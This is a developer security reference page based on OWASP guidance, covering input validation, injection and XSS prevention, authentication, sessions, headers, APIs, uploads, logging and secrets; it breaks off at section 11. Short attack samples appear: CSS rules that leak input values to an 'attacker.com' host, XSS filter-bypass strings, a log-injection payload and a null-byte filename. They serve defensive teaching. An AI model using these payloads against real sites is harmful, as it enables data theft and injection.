BT
Privacy ToolboxJournalProjectsResumeBookmarks
Feed
Privacy Toolbox
Journal
Projects
Resume
Bookmarks
Intel
CIPHER
Threat Actors
Privacy Threats
Dashboard
CVEs
Tags
Intel
CIPHERThreat ActorsPrivacy ThreatsDashboardCVEsTags

Intel

  • Feed
  • Threat Actors
  • Privacy Threats
  • Dashboard
  • Privacy Toolbox
  • CVEs

Personal

  • Journal
  • Projects

Resources

  • Subscribe
  • Bookmarks
  • Developers
  • Tags
Cybersecurity News & Analysis
github
defconxt
•
© 2026
•
blacktemple.net
  • MITRE ATT&CK
  • Purple Team
  • OSINT Tradecraft
  • Recon Tools
  • ICS/SCADA
  • Mobile Security
  • Threat Intelligence
  • Emerging Threats
  • Breach Case Studies
  • Purple Team Exercises
  • DevSecOps
  • Secure Coding
  • Developer Security
  • Encoding & Manipulation
  • Network Protocols
  • AI Pentesting
  • Curated Resources
  • Supplementary
  • MITRE ATT&CK
  • Purple Team
  • OSINT Tradecraft
  • Recon Tools
  • ICS/SCADA
  • Mobile Security
  • Threat Intelligence
  • Emerging Threats
  • Breach Case Studies
  • Purple Team Exercises
  • DevSecOps
  • Secure Coding
  • Developer Security
  • Encoding & Manipulation
  • Network Protocols
  • AI Pentesting
  • Curated Resources
  • Supplementary
  1. CIPHER
  2. /Reference
  3. /Security for Developers: The Complete Reference

Security for Developers: The Complete Reference

Security for Developers: The Complete Reference

What every software developer needs to know about security, explained in developer terms. Synthesized from OWASP Cheat Sheet Series and industry best practices.


Table of Contents

  1. Handling User Input Safely
  2. Authentication Implementation
  3. Authorization Patterns
  4. Session Management
  5. Security Headers Reference
  6. API Security
  7. File Handling
  8. Third-Party Dependencies
  9. Client-Side Security
  10. Error Handling and Logging
  11. Secrets Management in Code
  12. Cryptographic Storage
  13. Injection Prevention Beyond SQL
  14. Deserialization Safety
  15. Secure Product Design Principles

1. Handling User Input Safely

Every vulnerability in this document traces back to one root cause: trusting user input. Input validation is not a feature -- it is the foundation of secure code.

1.1 The Two Levels of Validation

Syntactic validation enforces correct structure. A date field must look like a date. A zip code must match ^\d{5}(-\d{4})?$. This catches malformed data before it touches business logic.

Semantic validation enforces correct meaning. A start date must precede an end date. A price must fall within an expected range. A user can only modify their own records. This catches logically invalid data that is syntactically perfect.

Both are required. Neither alone is sufficient.

1.2 Allowlist Over Denylist -- No Exceptions

Denylist validation (blocking known-bad patterns) is a fundamentally flawed approach. Attackers have infinite creativity; your blocklist has finite entries. Every denylist-based filter has been bypassed in production.

Allowlist validation defines exactly what IS authorized. Everything else is rejected.

// WRONG: denylist approach
if (input.contains("<script>")) { reject(); }
// Bypassed by: <ScRiPt>, <script/src=...>, <img onerror=...>, etc.

// RIGHT: allowlist approach
private static final Pattern ZIP = Pattern.compile("^\\d{5}(-\\d{4})?$");
if (!ZIP.matcher(input).matches()) {
    throw new ValidationException("Invalid zip code format");
}

1.3 Validation by Data Type

Data Type Validation Strategy
Integers Parse to native int/long, reject on exception
Decimals Parse to BigDecimal, validate range
Strings (constrained) Regex anchored with ^...$, enforce max length
Strings (free-form) Normalize Unicode, category-allowlist characters, enforce max length
Emails Check structure + send verification token (32+ chars, single-use, 8hr expiry)
URLs Parse with URL library, allowlist schemes (https only), validate host against allowlist
Dates Parse to native date type, validate range semantically
Enumerations Map to server-side values; never use client value directly
File names Replace entirely with server-generated UUID; never use user-supplied name

1.4 Client-Side vs. Server-Side

Client-side validation exists for UX -- fast feedback without a round trip. It provides zero security. Any JavaScript validation is bypassed with curl, Burp Suite, or browser devtools.

All validation must be enforced server-side. Client-side validation is a courtesy to legitimate users, not a defense against attackers.

1.5 Output Encoding by Context

Input validation prevents bad data from entering. Output encoding prevents data from being interpreted as code when rendered. The encoding must match the output context:

Output Context Encoding Method Example Transformation
HTML body HTML entity encoding < becomes &lt;
HTML attribute HTML attribute encoding " becomes &quot;
JavaScript JS Unicode encoding < becomes \u003c
CSS CSS hex encoding ( becomes \28
URL parameter Percent encoding < becomes %3C

Wrong context = no protection. HTML-encoding a value placed inside a <script> tag does not prevent XSS. You must use JavaScript encoding in JavaScript contexts.

1.6 SQL Injection Prevention

Use parameterized queries. Always. In every language. No exceptions.

Java:

String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("customerName"));
ResultSet results = pstmt.executeQuery();

Python:

cursor.execute("SELECT * FROM users WHERE name = %s", (username,))

C# (.NET):

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;

PHP (PDO):

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

Ruby (ActiveRecord):

Project.where("name = :name", name: user_input)

Rust (SQLx):

let users = sqlx::query_as!(User,
    "SELECT * FROM users WHERE name = ?", username)
    .fetch_all(&pool).await.unwrap();

For dynamic identifiers (table names, column names, sort order) where parameterization is impossible, use allowlist mapping:

String tableName;
switch (userParam) {
    case "users": tableName = "app_users"; break;
    case "orders": tableName = "app_orders"; break;
    default: throw new InputValidationException("Invalid table selection");
}

Never escape user input as a primary defense. OWASP explicitly states: "This methodology is fragile compared to other defenses, and we CANNOT guarantee that this option will prevent all SQL injections in all situations."

1.7 XSS Prevention

Rule zero: Use a framework with auto-escaping (React, Angular, Vue, Jinja2 with autoescape). Then verify you never use the escape hatches:

Framework Dangerous Escape Hatch
React dangerouslySetInnerHTML
Angular bypassSecurityTrustAs*
Vue v-html
Lit unsafeHTML

Safe DOM manipulation:

// DANGEROUS -- executes embedded scripts/HTML
element.innerHTML = userData;

// SAFE -- treats everything as text
element.textContent = userData;

// SAFE -- creates text node
document.createTextNode(userData);

For HTML that must contain markup (rich text editors, markdown), use DOMPurify:

let clean = DOMPurify.sanitize(dirty);

Never modify the DOM after sanitization -- that voids the protection.

1.8 DOM-Based XSS

DOM XSS occurs entirely in the browser when JavaScript reads attacker-controlled sources (URL, window.name, document.referrer) and passes them to dangerous sinks.

Dangerous sinks -- never pass untrusted data to these:

  • innerHTML, outerHTML
  • document.write(), document.writeln()
  • eval(), new Function(), setTimeout(string), setInterval(string)
  • element.setAttribute("onclick", ...) (event handler attributes)

Safe alternatives:

  • textContent (safest for text display)
  • document.createElement() + setAttribute() for safe attributes + appendChild()
  • JSON.parse() instead of eval() for JSON
  • Function references instead of string arguments for timers:
// DANGEROUS
setTimeout("doSomething('" + userData + "')", 1000);

// SAFE
setTimeout(() => doSomething(userData), 1000);

1.9 Prototype Pollution (JavaScript)

Attackers manipulate __proto__ or constructor.prototype to poison objects application-wide. This can escalate to RCE in Node.js.

Prevention:

// Use Map/Set instead of plain objects for key-value stores
let options = new Map();
options.set('key', value);

// Create objects with no prototype
let obj = Object.create(null);

// Freeze objects that should not be modified
Object.freeze(importantConfig);

// Node.js: disable __proto__ entirely
// Start with: node --disable-proto=delete app.js

1.10 CSRF Prevention

Cross-Site Request Forgery tricks authenticated users into making unintended requests.

Primary defense -- Signed Double-Submit Cookie (stateless):

// Server generates token
secret = getSecret("CSRF_SECRET")
sessionID = session.sessionID
randomValue = crypto.randomBytes(32).toString('hex')
message = sessionID + "!" + randomValue
hmac = HMAC-SHA256(secret, message)
csrfToken = hmac + "." + randomValue

// Set as cookie AND expect in request header/body
Set-Cookie: csrf_token=<csrfToken>; Secure; SameSite=Lax

Framework-specific implementations:

Angular (built-in):

provideHttpClient(withXsrfConfiguration({
  cookieName: 'XSRF-TOKEN',
  headerName: 'X-XSRF-TOKEN'
}))

Axios (React):

axios.interceptors.request.use(config => {
  if (!/^(GET|HEAD|OPTIONS)$/i.test(config.method)) {
    config.headers['X-CSRF-Token'] = getCsrfToken();
  }
  return config;
});

Defense-in-depth -- SameSite cookies:

Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly

SameSite=Lax is the browser default but is NOT a complete CSRF defense on its own. Use it alongside tokens.

Critical: XSS defeats ALL CSRF protections. Fix XSS first.


2. Authentication Implementation

2.1 Password Policies

Parameter Requirement
Minimum length (with MFA) 8 characters
Minimum length (no MFA) 15 characters
Maximum length At least 64 characters
Character restrictions None -- allow all Unicode, whitespace, special chars
Composition rules Do not require uppercase/number/symbol minimums
Password rotation Do not force periodic changes (NIST 800-63B)
Breach checking Check against Pwned Passwords or equivalent database
Strength meter Use zxcvbn-ts or similar entropy-based estimator
Truncation Never silently truncate passwords

2.2 Password Storage

Algorithm priority (use the first one available in your stack):

  1. Argon2id (preferred): m=19456 (19 MiB), t=2, p=1
    • Alternative configs: m=12288, t=3, p=1 or m=9216, t=4, p=1
  2. scrypt: N=2^17 (128 MiB), r=8, p=1
  3. bcrypt: Work factor 10+, 72-byte password limit (legacy only)
  4. PBKDF2: 600,000+ iterations with HMAC-SHA-256 (FIPS-140 compliance only)

Peppering: Store a secret pepper in a vault or HSM (not in the database). The pepper is shared across all passwords, unlike salts which are per-password.

Work factor calibration: Hash time should be under 1 second. Tune parameters for your hardware. Recompute on infrastructure changes.

2.3 Authentication Error Messages

Never reveal whether the username or password was wrong:

// WRONG
"Invalid username"
"Invalid password"
"Account does not exist"

// RIGHT
"Login failed; invalid user ID or password"

For registration/password reset:

// WRONG
"This email is already registered"

// RIGHT
"If that email address is in our system, you will receive a reset link"

Response timing can still leak information. Ensure failed lookups take the same time as successful ones (constant-time comparison, same code path).

2.4 Multi-Factor Authentication

MFA prevents 99.9% of automated account compromise. Implement wherever feasible.

Priority order:

  1. FIDO2/WebAuthn/Passkeys (phishing-resistant, no shared secrets)
  2. TOTP authenticator apps
  3. SMS/email codes (better than nothing, vulnerable to SIM swap)

2.5 Login Throttling

Associate failed attempt counters with accounts, not IP addresses. Distributed attacks use thousands of IPs.

  • Set a lockout threshold (e.g., 10 failed attempts)
  • Define an observation window (e.g., within 15 minutes)
  • Apply exponential backoff or temporary lockout
  • Always allow password recovery access during lockouts (prevents denial-of-service via lockout)

2.6 Reauthentication Triggers

Require fresh credentials before:

  • Changing password or email address
  • Modifying payment methods or shipping addresses
  • Account recovery or MFA enrollment/removal
  • Any action flagged by adaptive risk scoring (new device, unusual location)

2.7 Transport Security

The login page and all authenticated pages must be served exclusively over TLS. No mixed content. No HTTP fallback. Enable HSTS (see Section 5).


3. Authorization Patterns

3.1 Access Control Models

RBAC (Role-Based Access Control): Permissions assigned to roles, users assigned to roles. Simple but prone to role explosion in complex systems. Works for coarse-grained access (admin/user/viewer).

ABAC (Attribute-Based Access Control): Decisions based on user attributes, resource attributes, and environmental conditions evaluated against policies. Handles complex scenarios: "Users in the engineering department can access staging environments during business hours."

ReBAC (Relationship-Based Access Control): Access determined by relationships. "Only the creator of a document can delete it." Used by Google Zanzibar and systems like SpiceDB.

Recommendation: Prefer ABAC or ReBAC over pure RBAC for anything beyond trivial permission models. RBAC leads to role explosion and permission creep.

3.2 Enforcement Rules

  1. Deny by default. If no rule explicitly grants access, the answer is no.
  2. Validate on every request. Use middleware/filters, not per-endpoint checks that can be forgotten.
  3. Server-side only. Client-side checks are cosmetic. The server is the enforcement point.
  4. Protect static resources too. Files on S3/CDN need access control just like API endpoints.
  5. Use framework mechanisms. Don't write custom authorization logic when your framework provides it. But audit the framework defaults -- they may not be secure.
  6. Protect lookup IDs. UUIDs are not access control. Checking if (resource.ownerId == currentUser.id) is access control.

3.3 Common Authorization Vulnerabilities

Vulnerability What Goes Wrong Fix
IDOR (Insecure Direct Object Reference) /api/users/42/orders accessed by user 43 Check ownership on every resource access
Privilege escalation (vertical) Regular user accesses admin endpoints Role check in middleware, not just UI
Privilege escalation (horizontal) User A accesses User B's data Ownership validation on every query
Privilege creep User retains permissions after role change Periodic access reviews, JIT provisioning
Missing function-level access control Hidden admin page has no server-side check Middleware enforces auth on all routes

3.4 The /me Pattern

Use identity-relative endpoints instead of user-ID-based ones:

// RISKY: Requires IDOR checks
GET /api/users/42/orders

// BETTER: Server resolves identity from session/token
GET /api/me/orders

The server extracts the user ID from the authenticated session. No user-supplied ID means no IDOR vector.


4. Session Management

4.1 Session ID Properties

Property Requirement
Entropy Minimum 64 bits (128+ recommended)
Length Minimum 16 hex characters
Generation CSPRNG only (crypto.randomBytes, SecureRandom, secrets.token_hex)
Content Meaningless random value; no PII, no business data, no encoded user info
Naming Generic (id, token); avoid PHPSESSID, JSESSIONID (fingerprinting)
Transport Cookie only; never in URL parameters or request body

4.2 Cookie Security Attributes

Set-Cookie: __Host-session=<token>; Path=/; Secure; HttpOnly; SameSite=Lax
Attribute Purpose Value
Secure HTTPS-only transmission Always set
HttpOnly Block JavaScript access (document.cookie) Always set
SameSite=Lax Restrict cross-site sending Default minimum; use Strict for sensitive apps
Path=/ Scope to entire application Set explicitly
__Host- prefix Prevents subdomain override; forces Secure, Path=/, no Domain Use for session cookies
No Max-Age/Expires Session cookie (dies with browser) Omit for post-auth sessions

4.3 Session Lifecycle

Creation: Generate new session ID at login. Never reuse pre-authentication session IDs (session fixation).

Regeneration: Issue a new session ID on every privilege level change:

# Python/Flask
session.regenerate()

# PHP
session_regenerate_id(true);

# Java
request.getSession().invalidate();
request.getSession(true);

Idle timeout: 2-30 minutes depending on sensitivity. Enforce server-side only.

Absolute timeout: 4-8 hours maximum regardless of activity.

Logout: Invalidate the server-side session object AND clear the client cookie:

Set-Cookie: __Host-session=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Secure; HttpOnly

Use Clear-Site-Data: "cookies", "storage" header on logout responses for thorough cleanup.

4.4 Session Attack Prevention

Attack Defense
Session fixation Regenerate ID after authentication; accept only server-generated IDs
Session hijacking Bind to User-Agent + IP; detect anomalies; use __Host- prefix
Session brute force 128-bit entropy; rate limit; monitor sequential ID probing
Cross-site session theft HttpOnly; SameSite; CSP; prevent XSS

5. Security Headers Complete Reference

5.1 Required Headers

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: [see Section 5.3]
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-site
Cross-Origin-Embedder-Policy: require-corp
Cache-Control: no-store

5.2 Headers to Remove

Header Why
Server Leaks web server software and version
X-Powered-By Leaks application framework
X-AspNet-Version Leaks .NET version
X-AspNetMvc-Version Leaks MVC version
X-XSS-Protection Deprecated; set to 0 if present or remove entirely

5.3 Content Security Policy

Strict CSP with nonces (recommended):

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Server generates a unique random nonce per response:

const nonce = crypto.randomUUID();
res.setHeader('Content-Security-Policy',
  `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`);

Every <script> tag in the response includes the nonce:

<script nonce="<%= nonce %>">
  // application code
</script>

Strict CSP with hashes (for static sites):

Content-Security-Policy:
  script-src 'sha256-{HASH_OF_INLINE_SCRIPT}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Allowlist-based CSP (fallback if strict is infeasible):

Content-Security-Policy:
  default-src 'none';
  script-src 'self';
  connect-src 'self';
  img-src 'self';
  style-src 'self';
  font-src 'self';
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'none';

CSP directive reference:

Directive Controls Recommended Value
default-src Fallback for all fetch directives 'none' or 'self'
script-src JavaScript execution 'nonce-{RANDOM}' 'strict-dynamic'
style-src CSS loading 'self' (avoid 'unsafe-inline')
img-src Image sources 'self' + trusted CDNs
connect-src XHR, fetch, WebSocket targets 'self' + API domains
font-src Web font sources 'self' + font CDNs
object-src Plugin content (Flash, Java) 'none'
base-uri <base> element URLs 'none'
form-action Form submission targets 'self'
frame-ancestors Who can embed this page 'none' (replaces X-Frame-Options)
upgrade-insecure-requests Auto-upgrade HTTP to HTTPS Include for migration

Deploy strategy: Start with Content-Security-Policy-Report-Only to collect violations without breaking functionality. Monitor reports. Fix violations. Switch to enforcing.

Refactoring requirements:

// BEFORE: inline event handlers (blocked by CSP)
<button onclick="doSomething()">Click</button>

// AFTER: external event listeners (CSP-compliant)
document.getElementById('myButton').addEventListener('click', doSomething);

5.4 Implementation Examples

Nginx:

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Resource-Policy "same-site" always;
# Remove information leakage headers
server_tokens off;
more_clear_headers 'X-Powered-By';

Express.js (use Helmet):

const helmet = require('helmet');
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'none'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'"],
      imgSrc: ["'self'"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
      formAction: ["'self'"],
      baseUri: ["'none'"],
    }
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: "same-origin" },
  crossOriginResourcePolicy: { policy: "same-site" },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  frameguard: { action: "deny" },
  referrerPolicy: { policy: "strict-origin-when-cross-origin" },
}));
app.disable('x-powered-by');

Apache (.htaccess):

<IfModule mod_headers.c>
    Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header always set Permissions-Policy "geolocation=(), camera=(), microphone=()"
    Header always set Cross-Origin-Opener-Policy "same-origin"
    Header always set Cross-Origin-Resource-Policy "same-site"
    Header always unset X-Powered-By
    Header always unset Server
</IfModule>
ServerTokens Prod
ServerSignature Off

6. API Security

6.1 Authentication and Access

  • Serve APIs exclusively over HTTPS. No exceptions.
  • Use OAuth 2.0 / OIDC for delegated authorization. Avoid Basic Auth.
  • Require API keys for every protected endpoint.
  • Implement rate limiting; respond with 429 Too Many Requests.
  • Validate JWT tokens rigorously: verify iss, aud, exp, nbf, signature algorithm. Never allow {"alg":"none"}.
  • Don't select verification algorithms from the JWT header -- use server-configured algorithm.
  • Implement token denylists for explicit revocation (logout, compromise).

6.2 Input Handling

  • Validate Content-Type header. Reject unexpected types with 415 Unsupported Media Type.
  • Enforce maximum request body size. Return 413 Request Entity Too Large on violation.
  • Validate length, range, format, and type for all parameters.
  • Use allowlisted HTTP methods. Return 405 Method Not Allowed for others.
  • Use UUIDs instead of sequential integer IDs to prevent enumeration.
  • Never place credentials or tokens in URL query strings (they end up in server logs, browser history, referrer headers).

6.3 Output Handling

  • Set Content-Type to match actual response format. Never copy the Accept header.
  • Return generic error messages. Log details server-side only.
  • Never expose stack traces, internal paths, database errors, or framework versions.
  • Remove fingerprinting headers (Server, X-Powered-By).
  • Include security headers on all responses (see Section 5).

6.4 REST-Specific Concerns

  • Use GET for reads, POST/PUT/PATCH for writes, DELETE for removal. Never use GET for state changes.
  • Validate workflow sequences server-side. Enforce state machine transitions. Test for out-of-order execution.
  • Set Cache-Control: no-store on sensitive responses.
  • Use Content-Security-Policy: frame-ancestors 'none' to prevent API response framing.

6.5 GraphQL-Specific Concerns

  • Disable introspection in production.
  • Implement query depth limiting.
  • Use query cost analysis to prevent resource exhaustion.
  • Apply field-level authorization, not just type-level.

6.6 CORS Configuration

If cross-domain access is not needed, do not set CORS headers.

When CORS is required:

Access-Control-Allow-Origin: https://trusted-app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

Never use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is blocked by browsers for good reason.

6.7 API Security Checklist

Category Requirements
Auth Standard protocols (OAuth2/OIDC), max retry + lockout, encrypt all sensitive data
Access Rate limiting, HTTPS + TLS 1.2+, HSTS, private API IP allowlisting
OAuth Validate redirect URIs server-side, exchange auth codes (no implicit flow), random state parameter
Input Validate Content-Type, sanitize for SQLi/XSS/RCE, never put credentials in URLs
Processing Auth check on every endpoint, use /me/ pattern, UUIDs not sequential IDs, disable XML entity parsing
Output Security headers, generic errors, correct Content-Type, appropriate HTTP status codes
CI/CD Peer code review, SAST/DAST, dependency scanning, rollback procedures
Monitoring Centralized logging, traffic monitoring, alerting, IDS/IPS, never log sensitive data

7. File Handling

7.1 File Upload Security

File uploads are one of the highest-risk features in any application. Every step requires defensive measures.

Validation checklist:

Check How
Extension Allowlist only (.jpg, .png, .pdf). Block .php, .jsp, .exe, .sh, .bat, .htaccess
Content-Type Check but don't trust (trivially spoofed). Use as fast rejection, not sole validation
File signature (magic bytes) Verify file header matches expected type. Still bypassable -- use as defense-in-depth
File size Enforce per-file AND per-request limits
Filename Discard entirely. Generate server-side UUID. Never use user-supplied names
Double extensions Watch for .jpg.php, .png.jsp -- validate after decoding
Null bytes Block file.php%00.jpg patterns
Directory traversal Block ../ in any form after decoding

Storage strategy (in order of preference):

  1. Separate host/service (e.g., dedicated S3 bucket with no server-side execution)
  2. Outside the webroot with controlled access paths
  3. Inside webroot with write-only permissions and execution disabled

Additional protections:

  • Require authentication before upload capability
  • Scan with antivirus/sandbox
  • Apply Content Disarm & Reconstruct (CDR) for documents
  • Implement CSRF protection on upload endpoints
  • For images: rewrite/re-encode to strip embedded payloads
  • For ZIPs: generally avoid accepting them (too many attack vectors)
  • Serve uploaded files with Content-Disposition: attachment to prevent inline execution

7.2 File Download Security

  • Set Content-Type accurately
  • Use Content-Disposition: attachment for non-viewable files
  • Validate requested file paths against an allowlist of permitted directories
  • Never construct file paths from user input without canonicalization and validation
  • Check authorization before serving the file

8. Third-Party Dependencies

8.1 JavaScript Supply Chain Risks

When you include a third-party script, you give that third party full access to your users' session, DOM, cookies, and data. This is equivalent to an XSS vulnerability that you installed on purpose.

Three core risks:

  1. Loss of control: The vendor pushes a new version that breaks your app or introduces vulnerabilities
  2. Arbitrary code execution: Unreviewed code runs with your users' full privileges
  3. Data exfiltration: Browser requests to vendor domains leak IP, referrer, cookies

8.2 Defense Strategies (Priority Order)

1. Server-Side Data Layer (most secure): Create a host-controlled data layer. Your server communicates with vendor APIs. No vendor JavaScript executes in user browsers.

2. Subresource Integrity (SRI):

<script src="https://cdn.vendor.com/analytics.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
    crossorigin="anonymous">
</script>

SRI ensures the fetched file matches the expected hash. Any modification (CDN compromise, MITM, vendor pushing malicious update) causes the browser to reject the script.

Limitations: Requires vendor CORS support. Hash must be updated when vendor legitimately updates the script.

3. iframe Sandboxing:

<iframe src="https://static.yoursite.com/vendor-container.html"
    sandbox="allow-scripts"
    referrerpolicy="no-referrer">
</iframe>

Isolates vendor code from your DOM, cookies, and session.

4. Content Security Policy: Restrict which domains can serve scripts:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com;

8.3 Dependency Management

  • Monitor dependencies with tools like npm audit, Dependabot, Snyk, RetireJS
  • Pin dependency versions in lock files (package-lock.json, uv.lock, Gemfile.lock)
  • Review changelogs before updating
  • Generate and maintain Software Bill of Materials (SBOM)
  • Use private registries or mirrors for critical dependencies
  • Audit transitive dependencies, not just direct ones

8.4 CSS Security

CSS is not just styling -- it can exfiltrate data:

/* CSS-based data exfiltration via attribute selectors */
input[value^="a"] { background: url(https://attacker.com/leak?char=a); }
input[value^="b"] { background: url(https://attacker.com/leak?char=b); }

Mitigations:

  • Separate CSS files by access level; enforce access control on stylesheet loading
  • Use CSS-in-JS with minification to obfuscate class names
  • Restrict CSS properties in user-generated content
  • Sanitize HTML that might contain style injection

9. Client-Side Security

9.1 Content Security Policy (CSP)

See Section 5.3 for complete CSP reference.

9.2 Subresource Integrity (SRI)

Apply to all external scripts and stylesheets:

<script src="https://cdn.example.com/lib.js"
    integrity="sha384-<hash>"
    crossorigin="anonymous"></script>

<link rel="stylesheet" href="https://cdn.example.com/style.css"
    integrity="sha384-<hash>"
    crossorigin="anonymous">

Generate hashes:

echo -n "file contents" | openssl dgst -sha384 -binary | openssl base64 -A
# Or use: shasum -b -a 384 file.js | xxd -r -p | base64

9.3 CORS (Cross-Origin Resource Sharing)

Default behavior: Browsers block cross-origin requests. CORS relaxes this selectively.

Configuration rules:

  • If you don't need cross-origin access: don't set CORS headers
  • Never use Access-Control-Allow-Origin: * for authenticated endpoints
  • Validate the Origin header against an allowlist server-side
  • Don't reflect the Origin header value back without validation (open redirect equivalent)
# WRONG: reflecting origin without validation
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']

# RIGHT: validating against allowlist
ALLOWED_ORIGINS = {'https://app.example.com', 'https://admin.example.com'}
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Vary'] = 'Origin'

9.4 AJAX Security

  • Never use eval(), new Function(), or similar dynamic code execution
  • Use textContent instead of innerHTML for API response data
  • Wrap JSON responses in objects, never return bare arrays:
    {"result": [{"data": "value"}]}
    
    Bare arrays ([{"data":"value"}]) were historically vulnerable to JSON hijacking.
  • All security logic must be server-side. JavaScript validation is cosmetic.
  • Never transmit secrets to the client
  • Implement schema validation on all API inputs

9.5 Clickjacking Prevention

Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY

Use frame-ancestors (CSP) as the primary defense. Keep X-Frame-Options for legacy browser support. If embedding by specific partners is needed:

Content-Security-Policy: frame-ancestors https://trusted-partner.com;

10. Error Handling and Logging

10.1 Error Handling Rules

What users see:

{
  "type": "about:blank",
  "title": "An error occurred",
  "status": 500,
  "detail": "Please try again later. If the problem persists, contact support.",
  "instance": "/api/orders/42"
}

Use RFC 7807 Problem Details format for APIs (application/problem+json).

What users must never see:

  • Stack traces
  • Database query errors or table names
  • File paths or server directory structure
  • Framework names, versions, or configuration
  • Internal IP addresses or hostnames

What gets logged server-side:

  • Full stack trace and exception message
  • Request context (URL, method, headers, sanitized body)
  • User identity (from session, not from input)
  • Timestamp with timezone
  • Correlation ID (also returned to user for support reference)

10.2 HTTP Status Codes

Use semantically correct codes:

Code Meaning When to Use
400 Bad Request Malformed input, validation failure
401 Unauthorized Missing or invalid authentication
403 Forbidden Authenticated but not authorized
404 Not Found Resource does not exist (also use for unauthorized resources to prevent enumeration)
405 Method Not Allowed Wrong HTTP method
413 Payload Too Large Request body exceeds limit
415 Unsupported Media Type Wrong Content-Type
422 Unprocessable Entity Syntactically valid but semantically invalid
429 Too Many Requests Rate limit exceeded
500 Internal Server Error Unhandled server-side failure

10.3 Secure Logging

Always log these security events:

  • Input validation failures
  • Authentication successes AND failures
  • Authorization failures (access control denials)
  • Session management failures (tampered cookies/tokens)
  • Application errors and unhandled exceptions
  • Administrative actions (user creation, permission changes)
  • Sensitive data access (PII queries, report generation)
  • Data import/export and file uploads
  • Configuration and code changes

Never log these directly:

  • Passwords, API keys, tokens, secrets
  • Session IDs (hash them if tracking is needed)
  • Credit card numbers, bank account numbers
  • Health data, government IDs
  • Encryption keys, database connection strings

Handle these carefully (mask, hash, or encrypt):

  • Names, emails, phone numbers
  • Internal IP addresses, file paths
  • Any PII the user has not consented to collect

10.4 Log Injection Prevention

Log entries from untrusted input can inject fake log lines:

// Attacker submits username: "admin\n2026-03-14 INFO Login successful for admin"
// Result: fake log entry appears legitimate

Prevention:

  • Sanitize all log input: strip CR (\r), LF (\n), and delimiter characters
  • Encode data for the log output format
  • Use structured logging (JSON) where field boundaries are unambiguous
  • Apply parameterized logging:
    # WRONG: string concatenation
    logger.info("Login attempt for user: " + username)
    
    # RIGHT: parameterized
    logger.info("Login attempt for user: %s", username)
    

10.5 Log Infrastructure

  • Store logs on a separate partition from the application
  • Use append-only/tamper-evident storage
  • Transmit logs over TLS to centralized SIEM
  • Synchronize time across all servers (NTP)
  • Restrict log access to authorized personnel
  • Set retention periods based on regulatory requirements
  • Ensure logging failures do not crash the application

11. Secrets Management in Code

11.1 The Rules

  1. Never hardcode secrets in source code. Not in variables, not in comments, not in config files checked into version control.
  2. Never store secrets as environment variables. They leak into child processes, crash dumps, /proc filesystem, logging output, and container inspection.
  3. Never commit secrets to git. Even if you delete them later -- they persist in git history indefinitely.

11.2 Where Secrets Belong

Tier Solution Use Case
Best Hardware Security Module (HSM) Signing keys, root CAs
Strong Managed vault (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager) Application secrets, API keys, database credentials
Acceptable Encrypted file with restricted permissions, mounted at runtime Containerized deployments, small teams
Last resort Environment variable injected by orchestrator (Kubernetes Secrets, ECS task definitions) When vault integration is infeasible

11.3 Secret Lifecycle

Creation: Generate with CSPRNG. Use maximum entropy for the use case. Never derive from predictable sources.

Rotation: Automate rotation. Trigger rotation on:

  • Scheduled interval (defined cryptoperiod)
  • Suspected compromise
  • Personnel changes (employee departure)
  • Infrastructure changes

Revocation: Revoke immediately on compromise. Have the capability to revoke any secret within minutes.

Expiration: Secrets should have maximum lifetimes. Short-lived tokens (15-60 minutes) are preferable to long-lived API keys.

11.4 CI/CD Pipeline Security

  • Don't store long-lived high-value secrets in CI/CD systems
  • Use short-lived credentials that expire when the pipeline job completes
  • Scope credentials to only the secrets and services needed for that job
  • Rotate CI/CD credentials frequently
  • Monitor for suspicious secret access patterns
